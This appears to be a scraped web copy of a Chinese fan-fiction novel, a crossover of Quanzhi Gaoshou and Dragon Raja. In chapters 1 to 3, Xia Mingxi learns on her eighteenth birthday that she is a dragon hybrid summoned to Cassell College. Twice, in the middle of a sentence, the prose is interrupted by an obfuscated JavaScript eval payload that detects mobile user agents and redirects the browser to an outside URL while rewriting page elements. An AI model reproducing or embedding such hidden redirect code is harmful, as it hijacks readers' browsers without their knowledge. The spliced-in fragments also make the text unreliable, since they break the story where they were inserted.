《[全职+龙族]地平线》 1. 卡塞尔之门(一) 十八岁生日那天的傍晚,夏明晞盘腿坐在地板上拆礼物。彩色包装纸散了一地,空气里飘着奶油蛋糕甜腻的香气。母亲在厨房里哼着走调的歌,水龙头哗哗响着,正洗晚上要用的草莓。 门铃就在这时响了。 “来了!”夏明晞应了一声,光脚跑向玄关。她凑近猫眼往外看,外面没人。犹豫了一下,她拧开门把手。楼道里空荡荡的,只有地上躺着一个纯黑的信封。 没有邮票,没有寄件人,只有她的名字用银色墨水写在中央——夏明晞收。 “谁啊?”母亲从厨房探出身,手里还拎着漏水的草莓篮。 “不知道,”夏明晞弯腰捡起信封,“放门口的。” 信封很厚,摸上去有点凉。她回到客厅,在满地的礼物中间坐下,沿着封口小心撕开。里面是一张同样黑色的信纸,印着几行英文。夏明晞的英文不算太好,可奇怪的是,那些字母在她眼里自动排列成了她能懂的意思——卡塞尔学院入学通知。落款处签着一个陌生的名字:诺玛。 “卡塞尔学院?”她轻声念出来,“我没报过这个学校啊。” 母亲擦着手走过来,脸上还挂着笑:“怎么了?又是推销……”话说到一半,她看见了夏明晞手里的信纸,声音突然卡住了。 夏明晞抬起头,看见母亲脸上的笑容一点点消失。嘴唇抿得紧紧的,血色褪得干干净净。厨房的水龙头还在哗哗流,但没人想起去关。墙上的钟滴答、滴答,每一声都敲在安静的空气里。 “妈?” 母亲没应声。她伸出手,接过那张黑纸,手指有些发抖。她看得很慢,像在辨认什么危险的东西,视线一遍遍扫过那些字。 “妈,你怎么了?”夏明晞站起来,心里莫名地发慌。母亲从来不是这样的,她总是从容的,天塌下来也会先炒完菜。 母亲终于抬起眼睛。那眼神夏明晞从没见过。不是惊讶,更像是某种藏了很久的恐惧,终于成了真。她深深吸了口气,又长长吐出来,那叹息拖得又缓又重。 “该来的……”母亲的声音轻得像耳语,“还是来了。” 客厅彻底安静了。厨房的水流声不知何时停了,大约是母亲刚才关的,可夏明晞完全没有注意到。她盯着母亲,等她说下去,可母亲只是紧紧捏着那张纸,指节都泛了白。 “什么该来的?”夏明晞听见自己这么问,“这到底是什么学校?” 母亲摇摇头,把信纸仔细折好,塞回信封里。她的动作很慢,像在进行什么郑重的仪式。“你先坐下,”她说,“我有事要告诉你。” 她们面对面坐到沙发上。夏明晞把腿蜷起来,下巴抵着膝盖。母亲将黑色信封端端正正摆在茶几中央,双手交叠放在腿上,背挺得笔直。这姿势夏明晞熟悉,每次要谈重要的事,母亲都这样坐着。 “你爸爸……”母亲开口,又停住了。她望向茶几角上的全家福,照片里的男人笑得灿烂,一手搂着妻子,一手抱着刚满周岁的女儿。“你爸爸不是出车祸死的。” 夏明晞愣住了。在她十八年的记忆里,父亲的死因一直是“意外车祸”。三岁那年,父亲出差途中遇上车祸,连完整的遗体都没运回来。葬礼上,母亲紧紧抱着她,反复说“爸爸去了很远的地方”。后来她自己去查过当年的新闻,确实有一场高速公路上的严重事故,死亡名单里有父亲的名字。 “那他是怎么……”夏明晞问不下去。 母亲没有立刻回答。她站起来,走到电视柜前,蹲下身拉开最底下的抽屉,那个夏明晞从未被允许打开过的抽屉。母亲从深处捧出一个铁盒,盒子旧得边角生了锈。 铁盒落在茶几上,咚的一声闷响。母亲掀开盖子,里面没有文件,只有几样东西:一枚刻着陌生图案的旧徽章,一把黑鞘匕首,刀柄缠着发黑的皮绳,还有几张照片。 母亲抽出其中一张,递给夏明晞。 照片上是年轻的父亲,比夏明晞记忆里的样子更年少,大约二十出头。他穿着一身黑乎乎的作战服,手里握着一把形状古怪的刀,正回头冲着镜头笑。 “你爸爸是混血种,”母亲接着说,“就是人类和龙类的混血。卡塞尔学院是专门收混血种的学校,教他们……屠龙。” 每个字夏明晞都听见了,可连在一起却听不懂。龙?混血种?屠龙?这些词应该出现在童话里、电影里,不该从母亲口中说出来,不该在这个堆着生日礼物的客厅里被谈论。 “妈,你是不是……”夏明晞想说“是不是太累了”,可话到嘴边又咽了回去。 “你爸爸死在那之后三年,”母亲的声音还算平稳,可夏明晞听出了一丝颤意,“2006年,他们在追捕另一条疑似龙类的生物的时候……整支小队失踪了。卡塞尔学院说他们牺牲了,但连遗体都没找回来。” 夏明晞放下照片。她的指尖发凉,明明没开空调,却觉得冷,从骨头缝里渗出来的冷。 “所以我也……”她没说完。 母亲点了点头,眼里浮起一层水光,她眨了眨眼,又忍了回去。“混血种的血统会遗传。我早知道,你十八岁左右他们一定会找来。这封信……”她指着那个黑色信封,“就是证明。” 夏明晞盯着信封看了很久,她忽然想起小时候的事。五六岁时和邻居孩子打架,胳膊被抓破了。血很快止住,第二天连疤都没留。母亲给她涂药时,手一直抖。 还有初中运动会,跑八百米摔了一跤,膝盖磕得皮开肉绽。校医说要缝针,母亲坚持带她回家自己处理。两天后,伤口愈合得只剩一道浅粉色痕迹。体育老师说:“你这孩子恢复能力也太好了。” 这些散碎的片段,原本埋在记忆各个角落,此刻忽然被一根线串了起来。那根线就是母亲刚才的话:混血种。 “龙是真的?”夏明晞问。 “真的。” “世界上真的有龙?” “有,而且不止一条。它们睡在世界各处,混血种的任务就是找到它们,杀了它们,或者……在它们醒来前阻止它们。” 夏明晞脑子里乱糟糟的。她该尖叫吗?该质问吗?该喊“我不信”吗?可母亲的表情那么认真,那些照片那么清晰,那个黑色信封沉甸甸地摆在茶几上,像一块碑。 “我必须去吗?”她又问。 母亲沉默了很久。窗外天色渐渐暗了,夕阳的余晖斜射进来,把客厅切成明暗两半。母亲坐在暗处,夏明晞坐在亮处。 “如果你不去,他们会来找你,”母亲终于开口,“混血种的血统觉醒后,不接受训练可能会失控。而且……那些龙,它们能感觉到同类的气息。你越强,越容易引来它们。” “所以我没有选择。” “你可以选怎么面对。”母亲站起来,走到夏明晞身边坐下,握住她的手。母亲的手很暖,夏明晞的手却冰凉。“你可以像你爸爸那样,把它当成使命。或者……当成诅咒。但不管怎样,它都是你的一部分了。” 夏明晞低头看两人交握的手。她的手比母亲的大一点,手指更长,这是遗传自父亲。她忽然意识到,自己对父亲了解得那么少。照片上的他那么年轻,意气风发,握着刀。那不是她记忆里温柔的父亲,那是另一个人,一个战士。 “爸爸……喜欢做这个吗?”她问。 母亲愣了一下,然后很慢地笑了。那是夏明晞今晚看到的第一个真正的笑容,带着怀念,也带着苦涩。 “他爱死了,”母亲轻声说,“每次任务回来,累得倒头就睡,可眼睛始终是明亮的。他说这是他们这种人天生的责任,也是……特权。不是每个人都能站在神话和现实的交界上。” 夏明晞点点头,没说话。她松开母亲的手,拿起那个黑色信封,又抽出信纸看了看。卡塞尔学院,全英文,可她每个字都看懂了。入学时间是九月,还有一个多月。学费全免,包机票和签证。信纸最下面有一行小字:请于八月十五日前回复。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088442|195413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>今天是她生日,七月二十日。 “我需要时间想想。”她说。 “当然,”母亲拍拍她的背,“想多久都行。但是……” “但是八月十五号前必须决定,我知道。” 母亲起身走向厨房。“饭还没吃完,蛋糕也没切。今天是你生日,至少把这个生日过完。” 夏明晞跟进去。餐桌上的菜凉了,母亲重新开火热汤。草莓洗好了,盛在白瓷碗里,红得诱人。蛋糕摆在桌子中央,插着十八根蜡烛,还没点。 母亲拿出打火机,一根一根点燃蜡烛。火苗跳动,映在她脸上,明明灭灭。 “许个愿吧。”母亲说。 夏明晞闭上眼睛。往年她会许具体的愿望——考上好大学,再长高一点,喜欢的漫画快点更新。可今年,她脑子里空空的。最后她只在心里默念:让我做对的选择。 然后吹灭了蜡烛。 灯重新亮起,母亲开始切蛋糕。第一块最大的给夏明晞,上面托着一颗完整的草莓。 “妈,”夏明晞舀了一勺蛋糕,奶油在嘴里化开,甜得发腻,“如果我去了……会怎么样?” 母亲放下刀,认真看着她。“你会看见另一个世界,一个藏在正常世界底下的世界。你会学怎么战斗,怎么活下去。你会认识和你一样的人,也会有……敌人。你会经历想不到的事,有些很好,有些……很可怕。” “那如果我不去呢?” “他们会来找你,这肯定的。而且……”母亲顿了顿,“你身体里的血统已经开始醒了。你自己也有感觉吧?视力变好了?听力变灵了?有时候觉得特别有劲?” 夏明晞想起上周打羽毛球,她一记扣杀直接把球打爆了。大家惊呼“夏明晞你力气怎么这么大”,她只是笑笑说最近锻炼多。 “所以不管怎样,我都回不到普通人的生活了,是吗?” 母亲没有回答,可沉默本身就是答案。 夏明晞一口一口吃完那块蛋糕。很甜,可她尝不出味道。她脑子里反复出现那张照片——父亲站在龙骸旁笑的样子。他当时在想什么?怕吗?兴奋吗?还是觉得……这就是他的命? 吃完饭,夏明晞主动洗碗。水哗哗流,她仔细擦着每一个盘子。母亲在客厅收拾礼物,叠包装纸,把礼物分门别类放好。一切都和往常一样,可又完全不一样了。 洗好碗,夏明晞回到自己房间。她关上门,背靠着门板站了好一会儿。书桌上堆着复习资料,墙上贴着理想大学的招生简章,床头放着和周泽楷的合影。那是去年暑假他们一起去海边,两个人都晒黑了,笑得没心没肺。 周泽楷。 想到这个名字,夏明晞心口蓦地一紧。她走到书桌前,拿起那张照片。照片里的周泽楷正对镜头比耶,她在后面做鬼脸。这是她最喜欢的一张,因为两个人笑得那么开心,好像世上没什么值得发愁的事。 如果她去了卡塞尔学院,周泽楷怎么办? 她不知道。 她把照片放回原处,走到窗边。夜色已经浓了,对面居民楼亮起一盏盏灯,每一盏灯后面都是一个家,过着平凡普通的日子。而她,就站在这平凡世界的边缘,一只脚快要踏进另一个完全不同的地方。 手机震了一下,是周泽楷的消息:“生日快乐!礼物喜欢吗?” 夏明晞盯着屏幕,手指悬在上面。往常她会秒回,会发一堆表情包,会约他明天出来玩。可现在,她不知道该怎么回。 最后,她只打了两个字:“喜欢。” 然后按熄了屏幕。 窗外,城市的灯火连成一片温暖的海。夏明晞站在那里看了很久,直到母亲敲门说该洗澡睡觉了。她应了一声,慢吞吞地收拾睡衣。动作拖拖拉拉,好像这样拖延下去,那个必须做的决定就会自己消失。 但不会。 它就在那儿,像那个黑色信封一样,又冷又沉地躺在客厅茶几上,等着她的回答。 2. 卡塞尔之门(二) 第二天早上,夏明晞是从噩梦中惊醒的。 她猛地从床上坐起来,心脏跳得很快,咚咚咚地撞着胸口。房间里很安静,只有空调运转的微弱声音。窗帘缝里透进清晨的光,天已经亮了。 她梦见了父亲。梦里父亲背对着她,站在一片漆黑的地方。她大声喊爸爸,但父亲没有回头。然后黑暗里亮起两盏巨大的金色灯笼——不,那不是灯笼,是眼睛。龙的眼睛。父亲转过身来,脸上全是血,朝她伸出手,好像想说什么,但什么声音也发不出来。然后她就看见父亲的胸口被一只黑色的爪子穿透了,血溅得到处都是。 接着画面一转,她自己手里拿着一把刀,刀上也在滴血。她站在什么东西的尸骸上,四周都是血。然后周泽楷出现了,站在不远处看着她,眼睛里全是恐惧。他张开嘴,说了两个字。夏明晞听不见声音,但看口型知道他说的是:怪物。 她想喊不是这样的,想解释,但喉咙像被什么堵住了,一点声音都发不出来。她拼命摇头,周泽楷却一步步往后退,然后转身跑掉了,消失在黑暗里。 夏明晞坐在床上喘气,后背的睡衣被冷汗浸湿了,黏糊糊地贴在皮肤上。她抬手抹了把脸,手心湿漉漉的,分不清是汗还是别的什么。 就这样坐了好几分钟,心跳才慢慢平复下来。她掀开被子下床,光脚踩在地板上,凉意从脚底传上来。走到窗边拉开窗帘,外面的阳光一下子涌进来,刺得她眯起眼睛。 今天是个晴天,小区里已经有早起的人在遛狗了,楼下早餐店的蒸笼冒着白气。一切都和往常一样平凡。 夏明晞转身走向房门,准备去洗漱。手握住门把手的瞬间,她犹豫了一下。昨晚那张黑色信封还放在客厅茶几上,她不知道母亲有没有收起来。但无论如何,那东西就在那儿,像一个看不见的裂缝,把她的生活分成了昨天和今天。 她打开门走了出去。 母亲已经在厨房里准备早餐了。煎蛋的香味飘过来,还有烤面包的焦香。咖啡机正在工作,发出嗡嗡的声音。母亲背对着她,正在往杯子里倒牛奶。 “妈,早。”夏明晞说,声音有点哑。 母亲应了一声,头也没回:“快去洗漱,早饭马上好了。” 夏明晞嗯了一声,转身往卫生间走。刚走了两步,母亲的声音从后面传来:“你昨晚没睡好?做噩梦了?” 她停住脚步,回头看见母亲转过身来,手里还拿着牛奶盒。母亲的视线落在她脸上,然后突然凝固了。牛奶盒从她手里滑落,“啪”地一声砸在地上,白色的牛奶溅得到处都是。 夏明晞愣住了,疑惑地问:“妈?” 母亲没有去管地上的牛奶,而是快步走过来,一把抓住她的胳膊。她的力气很大,抓得夏明晞有点疼。 “你的眼睛……”母亲的声音很轻,像怕吓到什么似的。 夏明晞茫然地看着母亲。“我的眼睛怎么了?” 母亲没有说话,直接拉着她往卫生间走。夏明晞踉跄地跟在她身后,心里涌起一种不祥的预感。母亲把她拉到洗手池前,按着她的肩膀让她面对镜子。 镜子里映出一张苍白的脸,头发乱糟糟的,眼下有淡淡的黑眼圈。但这不是重点。重点是眼睛,她的瞳孔是金色的。不是戴了美瞳那种人造的金色,而是像融化的黄金一样的金色,在卫生间白炽灯的照射下,甚至泛着一层淡淡的光。 夏明晞盯着镜子里的自己,一时间没反应过来。她眨眨眼,镜子里的金色瞳孔也跟着眨了眨。她又凑近一点,几乎要贴到镜子上。没错,是金色的,像猫科动物的眼睛,在光线变化时瞳孔还会微微收缩。 “这是……”她张了张嘴,却不知道该说什么。 “血统苏醒了。”母亲的声音从身后传来,很平静,但夏明晞听出了一丝颤抖。“昨晚做了噩梦,情绪剧烈波动,加速了这个过程。” 夏明晞还是盯着镜子。金色瞳孔,怪物,周泽楷在梦里恐惧的表情……所有画面在脑子里搅成一团。她突然感到一阵反胃,赶紧转身趴在洗手池边干呕起来。什么都没吐出来,只是难受。 母亲轻轻拍着她的背。“没事的,第一次都这样。” “什么叫……没事?”夏明晞直起身,声音有点发抖,“我的眼睛变成金色了,这还叫没事?” “可以戴美瞳遮住,”母亲说,“你爸以前也这样,每次血统活跃的时候眼睛就会变色。家里备了一些,我拿给你。” 母亲说完就转身出去了。夏明晞一个人站在卫生间里,又转头看向镜子。那双金色眼睛也在看着她,陌生又熟悉。她试着对镜子里的自己笑一下,但笑容很僵硬,看起来比哭还难看。 母亲很快回来了,手里拿着一个小盒子。打开,里面是几副没拆封的美瞳。 “选一个戴上,”母亲说,“以后出门都要记得戴,不能让别人看见。” 夏明晞接过盒子,手指有点抖。她拆开一副,照着镜子往眼睛里戴。过程不太顺利,因为手一直在抖,美瞳掉出来好几次。最后一次终于戴上了,右眼一阵酸涩,她闭着眼缓了一会儿。 “另一只。”母亲又说。 她又拆了一副,戴上左眼。这次顺利多了。再睁开眼时,镜子里的人又变回了熟悉的样子——深棕色的瞳孔,普通亚洲人的眼睛。 夏明晞凑近镜子仔细看,眨了好几次眼,确认美瞳没有滑片,边缘贴合得很好。她又做了几个夸张的表情,美瞳稳稳地待在眼睛里。 “不会掉出来吧?”她问。 “不会,这是特制的,吸附力很强。”母亲蹲下身,开始收拾地上打翻的牛奶盒和洒出来的牛奶。“你先去换衣服吧,早饭我重新弄。” 夏明晞“哦”了一声,走出卫生间回到自己房间。关上门,她背靠着门板站了一会儿,然后走到书桌前坐下。桌上还放着那张和周泽楷的合影,她盯着照片看了很久,脑子里又浮现出梦里周泽楷惊恐的表情。 怪物。 她甩甩头,把那个画面赶出去。不能想,越想越难受。 手机屏幕亮了一下,有新消息。夏明晞拿起来看,是周泽楷发来的。 “早啊。今天天气不错,要不要出来?听说新开了家奶茶店,去试试?” 很平常的邀约,放在平时她肯定会回“好啊,几点”,然后就开始挑衣服。但今天她盯着那条消息看了很久,手指悬在屏幕上方,却不知道该打什么字。 她又想起那双金色眼睛。虽然现在戴了美瞳遮住了,但那东西还在,就在她的眼眶里,随时可能再露出来。万一和周泽楷出去玩的时候美瞳掉了怎么办?万一他看见了怎么办? 他会怎么想?会像梦里那样害怕吗?还是会觉得她在恶作剧? 夏明晞不知道。她只知道,她现在没办法像以前那样自然地面对周泽楷了。 最后,她打了几个字:“今天不去了,有点事。” 发送。 消息几乎是秒回:“什么事?要紧吗?” “嗯,家里有点事。” “好吧。那你忙完了跟我说,随时都有空。” “好。” 对话到此结束。夏明晞把手机倒扣在桌上,深吸一口气,又慢慢吐出来。窗外的阳光很好,透过玻璃洒在地板上,形成一片明亮的光斑。楼下传来小孩嬉闹的声音,还有大人喊孩子回家吃饭的叫唤。 一切都和往常一样,只有她不一样了。 她换了身衣服,简单梳了头,走出房间。母亲已经把地上的牛奶收拾干净了,正在煎新的鸡蛋。烤面包机弹出两片焦黄的面包,母亲把它们放在盘子里,涂上黄油。 “吃饭吧。”母亲说。 夏明晞在餐桌前坐下。早餐很丰盛,煎蛋、培根、烤面包、牛奶,还有切好的水果。但她没什么胃口,用叉子戳着盘子里的鸡蛋,半天才吃一小口。 母亲坐在对面,小口喝着咖啡,看着她:“昨晚的信,你打算怎么回?” 夏明晞动作顿了顿:“我不知道。” “还有时间,你可以慢慢想。”母亲说,“但八月十五日前必须做决定。他们那边需要时间安排。” “如果我说不去呢?”夏明晞抬起头,“真的会有人来找我吗?” 母亲沉默了一会儿,点点头。“会的。卡塞尔学院有自己的执行部门,专门处理这种情况。他们会找到你,和你谈话,可能会用一些……比较强硬的手段说服你。” “强硬的手段?” “比如展示一些你不应该看到的东西,让你明白拒绝的后果。”母亲放下咖啡杯,“我不想吓你,但这是事实。混血种的世界有它自己的规则,一旦被卷入,就很难全身而退。” 夏明晞低头看着盘子。煎蛋已经凉了,边缘的蛋白微微卷起。她用叉子把它切成小块,但一块也没往嘴里送。 “妈,”她突然问,“你恨爸爸吗?” 母亲愣住了:“恨?为什么这么问?” “因为他把你卷进了这个世界。如果不是嫁给他,你现在应该过着普通人的生活,不用担心女儿的眼睛会变成金色,也不用担心有人会找上门来。” 母亲没有马上回答。她拿起一片面包,慢慢地撕成小块,泡进牛奶里。面包吸饱了牛奶,变得软塌塌的。 “不恨,”最后她摇了摇头说,“从来没有恨过。你爸爸是个很好的人,他给了我最好的十年。至于后来的事……那是命运,不是他的错。” “但你可以选择不过这种生活。” “我也可以选择不爱你爸爸,但我还是爱了。”母亲笑了笑,笑容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088443|195413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点苦涩,“有些事不是你选了就能改变的。就算重来一次,我大概还是会做同样的选择。” 夏明晞没说话。她想起父亲照片上的笑容,那么明亮,那么无所畏惧。那是一个知道自己使命、并为此感到骄傲的人的笑容。 “爸爸……走的时候,痛苦吗?”她问得很轻。 母亲脸上的笑容消失了。她看向窗外,阳光把她的侧脸照得半明半暗。 “我不知道,”她说得很慢,像是在回忆什么,“他们没找到遗体。学院的人说,应该是瞬间的事,没受太多苦。但我经常做梦,梦见他在黑暗里喊我,喊你的名字。” 夏明晞感到鼻子一酸,赶紧低下头,假装专心吃早餐。但鸡蛋在嘴里嚼了半天,还是咽不下去。 “如果你去了卡塞尔学院,”母亲继续说,“可能有一天,你也会面对同样的事。这是这个世界的规则,有战斗,就有牺牲。” “那为什么还要去?”夏明晞问,这次她说的有点着急,“明知道可能会死,为什么还要去?” 母亲看着她,眼睛里有一种夏明晞看不懂的情绪,她这么说道:“因为如果不去,死的人可能会更多。你爸爸常说,他们站在第一线,就是为了让后面的人不用面对这些。让普通人可以安心地过普通人的生活,不用担心哪天醒来发现世界变了样。” 夏明晞想起周泽楷。他大概永远也不会知道,在世界的某个角落,有人在为了他能安心打游戏、喝奶茶而战斗,甚至牺牲。如果她不去,如果她选择装作什么都不知道,继续过普通人的生活,那谁来保护这些普通人? 但这个想法让她感到一阵窒息。她才十八岁,她不想承担这么重的责任。她想和朋友出去玩,想考个好大学,想谈一场普通的恋爱,想过一个普通的人生。 可她好像已经没有这个选择了。 “我今天想一个人待会儿。”夏明晞淡淡地说,推开了面前的盘子。 母亲点点头:“好。冰箱里有吃的,饿了就自己热。我下午要出去一趟,买点东西。” 夏明晞嗯了一声,起身离开餐桌。她回到自己房间,关上门,却没有立刻做什么,只是站在房间中央发呆。 书桌、床、衣柜、书架,每样东西都摆在她熟悉的位置。墙上的海报是她喜欢的乐队,书架上是她收集的漫画,床头柜上放着和周泽楷的照片。这个房间住了十八年,每一处都有她的痕迹。 但现在她站在这里,却觉得有点陌生。好像这个房间属于另一个夏明晞,一个还不知道自己眼睛会变成金色的夏明晞,一个还会开心地回复周泽楷消息的夏明晞。 手机又震了一下。夏明晞拿起来看,是周泽楷发来的照片。照片里是他家的狗,一只金毛,正叼着玩具眼巴巴地看着镜头。配文是:“它说想你了。” 夏明晞看着那张照片,嘴角不自觉地扬了一下,但很快又压了下去。她盯着屏幕看了很久,最后还是没有回复,把手机放下了。 她走到窗边,推开窗户。夏天的风涌进来,带着阳光和青草的味道。楼下有几个小孩在踢球,笑闹声传得很远。 一切都是那么正常,那么美好。 夏明晞闭上眼睛,让风吹在脸上。她想起昨晚那个梦,想起周泽楷惊恐的表情,想起父亲胸口的血。然后她又想起母亲说的话:他们站在第一线,就是为了让后面的人不用面对这些。 风停了。夏明晞睁开眼,金色的阳光刺得她眯起眼睛。她站了很久,直到腿有点麻了,才转身回到书桌前坐下。 桌上摊着几本复习资料,还有几张没做完的模拟卷。她随手拿起一本,翻了几页,但一个字也看不进去。那些公式和定理现在显得那么遥远,好像属于另一个世界。 她把书合上,趴在了桌子上。脸贴着冰凉的桌面,能闻到木头和灰尘的味道。她就这么趴着,什么也不想,什么也不做,只是听着自己的呼吸声,一声,又一声。 时间慢慢流逝,窗外的阳光从东边移到正中。楼下小孩的笑闹声消失了,大概是回家吃午饭了。整个世界安静下来,只剩下偶尔传来的鸟叫和远处马路的车流声。 夏明晞就这么趴着,直到门被轻轻敲响。 “明晞,”母亲的声音从门外传来,“我出去了。饭在冰箱里,记得热了吃。” “知道了。”她应了一声。 脚步声远去,然后是关门的声音。家里彻底安静下来。 夏明晞抬起头,坐直身子。她拿起手机,点开和周泽楷的聊天界面。最后一条消息还是他发的那张狗的照片,她没有回。 她盯着那个对话框看了很久,手指在屏幕上悬停又放下,放下又悬停。最后,她退出了聊天界面,打开了浏览器。 在搜索栏里,她慢慢地输入了四个字:卡塞尔学院。 3. 卡塞尔之门(三) 浏览器页面跳转得很快。 搜索结果最上方显示的是一个英文网站,页面设计得很简洁,深红色的背景,金色的校徽,看起来像某种贵族学校的官网。夏明晞的英文不算特别好,但奇怪的是,那些复杂的单词和句子在她眼里自动变得清晰易懂,好像她天生就应该认识它们。 她点开了“学院概况”页面。上面写着卡塞尔学院成立于十九世纪末,是一所私立研究型大学,主校区位于美国伊利诺伊州芝加哥郊外。官网上展示的校园照片看起来很普通,古老的砖石建筑,大片的草坪,穿着校服的学生走在林荫道上。如果不是昨天那封信和母亲说的话,夏明晞会以为这就是一所普通的国际学校。 她继续往下翻。课程设置里有一些正常的科目,比如历史、文学、数学,但也有一些奇怪的名字:龙族谱系学,炼金术基础,言灵学导论,冷兵器实战训练。每个课程下面都有简短的介绍,用词很学术,但夏明晞读着读着就觉得背后发凉。但是问题是,这些好像只有她看到了,没人提出来。 她关掉了官网,在搜索框里重新输入:卡塞尔学院真实评价。 这次跳出来的结果多了很多。有留学生论坛的讨论帖,有教育中介的推广文,还有一些不知名小网站的文章。大部分内容都很正常,讲学校的环境怎么样,师资力量如何,毕业生去向如何。但夏明晞注意到,几乎每个提到卡塞尔学院的地方,都会有一两条奇怪的评论。 夏明晞关掉了这个页面。她靠在椅背上,看着电脑屏幕慢慢变暗,最后进入待机状态。房间里很安静,只有电脑风扇轻微的嗡嗡声。窗外的阳光斜斜地照进来,在地板上投出明亮的方块。 母亲说,父亲是战士。官网上的课程里有冷兵器实战训练。论坛里的人说,那所学校培养的是战士。 战士。这个词听起来很遥远,很沉重。夏明晞想起自己从小到大连架都没打过几次,体育课跑八百米都能喘半天。她不知道战士应该是什么样的,但肯定不是她这样的。 手机又震了一下。这次不是周泽楷,是班群里的消息。有人在约下午去图书馆复习,问有没有人一起。几个人回复了,还有人艾特夏明晞:“学霸来不来?给我们补补物理。” 夏明晞盯着那条消息看了几秒,手指在键盘上敲了敲,又删掉了。她不知道该怎么回。如果说去,她现在的状态根本复习不进去。如果说不去,总要给个理由。 最后她什么也没回,把手机调成了静音,反扣在桌上。 她重新打开电脑,点开历史记录,又看了一遍卡塞尔学院的官网。这次她点开了“招生”页面。上面写着申请流程、录取标准、奖学金信息,看起来和普通大学的招生简章没什么区别。只是在最下面有一行小字:“通过初步筛选的申请者将收到黑色信笺通知。” 黑色信笺。和昨天收到的一模一样。 夏明晞关掉网页,站起来在房间里走了几步。地板有点凉,光脚踩在上面很舒服。她走到书架前,随手抽出一本漫画,翻了几页,又放回去。再抽出一本小说,看了两行,还是看不进去。她感觉脑子里很乱,像塞了一团毛线,理不清头绪。 最后她回到书桌前,拉开抽屉。最里面放着一个铁盒子,是母亲昨天拿出来的那个。她犹豫了一下,还是把盒子拿了出来。 打开,里面是那几样东西:生锈的徽章,黑色刀鞘的匕首,还有照片。 夏明晞拿起那枚徽章。徽章是圆形的,中间刻着一棵树,树的枝条缠绕成一个复杂的图案。徽章边缘已经生锈了,摸上去有点粗糙。她把徽章翻过来,背面刻着一行小字:卡塞尔学院,夏文渊。 夏文渊是父亲的名字。 她把徽章握在手心里。金属很凉,但握久了就慢慢变暖。她想象父亲当年也这样握过这枚徽章,也许是在入学的时候,也许是在毕业的时候。父亲会是什么心情?兴奋?紧张?还是像她一样迷茫? 放下徽章,她又拿起那把匕首。刀鞘是纯黑的,没有任何装饰。她握住刀柄,慢慢把刀抽出来。刀刃很亮,即使在室内光线下也泛着冷光。刀身很薄,看起来锋利极了。她不敢碰刀刃,只是用手指轻轻摸了摸刀背,冰凉的感觉顺着指尖传上来。 这把刀杀过龙吗?父亲用它战斗过吗?那些照片上的血,有没有沾在这把刀上? 夏明晞把刀插回刀鞘,放回盒子里。最后她拿起那些照片,一张一张地看。除了昨晚看过的两张,还有几张是父亲和别人的合影。有一张是父亲和一个金发男人的合照,两个人都穿着作战服,勾肩搭背地笑着。 她盯着那些照片看了很久,试图从父亲的笑容里看出点什么。但照片是静止的,父亲的笑容也是静止的,她看不出笑容背后的东西。 她把照片收好,合上铁盒子,放回抽屉里。然后她坐在椅子上,盯着空白的墙壁发呆。墙上有她小时候画的水彩画,已经褪色了,但还能看出轮廓。画的是全家三口人手拉手站在太阳下,每个人的脸上都有夸张的笑容。 那时候她大概五六岁,还不知道父亲已经死了,只是觉得爸爸去了很远的地方,总有一天会回来。母亲也从来没有纠正过她这个想法,直到她上小学,才开始慢慢明白“死亡”是什么意思。 而现在,死亡又以另一种方式回到了她的生活里。不是遥远的概念,不是别人的故事,是可能发生在她身上的未来。母亲说,如果你去了卡塞尔学院,可能有一天,你也会面对同样的事。 夏明晞站起来,走到窗边。楼下的小区花园里,几个老人在打太极拳,动作缓慢而从容。一个年轻的妈妈推着婴儿车走过,车里的小孩在咿咿呀呀地叫。一切都是那么平和,那么安全。 她不知道这些平静的景象背后,是不是真的藏着母亲说的那些危险。她看不见龙,听不见龙,除了眼睛变了颜色,她的生活和昨天之前没有任何区别。 但那张黑色信笺就在客厅里,那些照片就在抽屉里,她的眼睛就在美瞳后面,是金色的。这些都是真的,不是梦。 手机屏幕又亮了,这次是来电。夏明晞看了一眼,是周泽楷。她盯着那个名字看了几秒,手指悬在接听键上方,最终还是按了静音,没有接。 铃声停了。过了一会儿,屏幕又亮起来,是一条新消息:“怎么不接电话?没事吧?” 夏明晞还是没有回。她把手机放进抽屉里,关上抽屉,好像这样就能把那些问题也关在外面。 但她关不掉。问题就在她脑子里,一遍遍地响。去还是不去?接受还是拒绝?当一个普通人,还是当一个战士? 她不知道答案。 下午的时间过得很慢。夏明晞在房间里走来走去,一会儿看看书,一会儿看看窗外,什么也做不下去。她试着做了一张物理卷子,但做到一半就卡住了,那些原本熟悉的公式和定理现在看起来像外星文字。她扔下笔,倒在床上,盯着天花板上的灯。 灯是白色的,圆形的,边缘有一圈灰尘。她盯着那圈灰尘看,看了很久,直到眼睛发酸。 门外传来钥匙转动的声音,是母亲回来了。夏明晞从床上坐起来,听着母亲在玄关换鞋,放东西,然后脚步声走向厨房。过了一会儿,母亲敲了敲她的门。 “明晞,出来吃点水果。” “好。” 夏明晞应了一声,下床开门。母亲站在门口,手里端着一盘切好的西瓜。西瓜很红,看起来很甜。 “刚买的,很新鲜。”母亲笑着说,把放好西瓜的盘子递到她面前。 夏明晞接过盘子,跟在母亲身后走到客厅。茶几上放着几个购物袋,里面是日用品和蔬菜。母亲把东西一样样拿出来整理,动作很慢,好像在拖延时间。 “你下午在家做什么了?”母亲轻声问,没有看她。 “没做什么,看看书,上上网。” 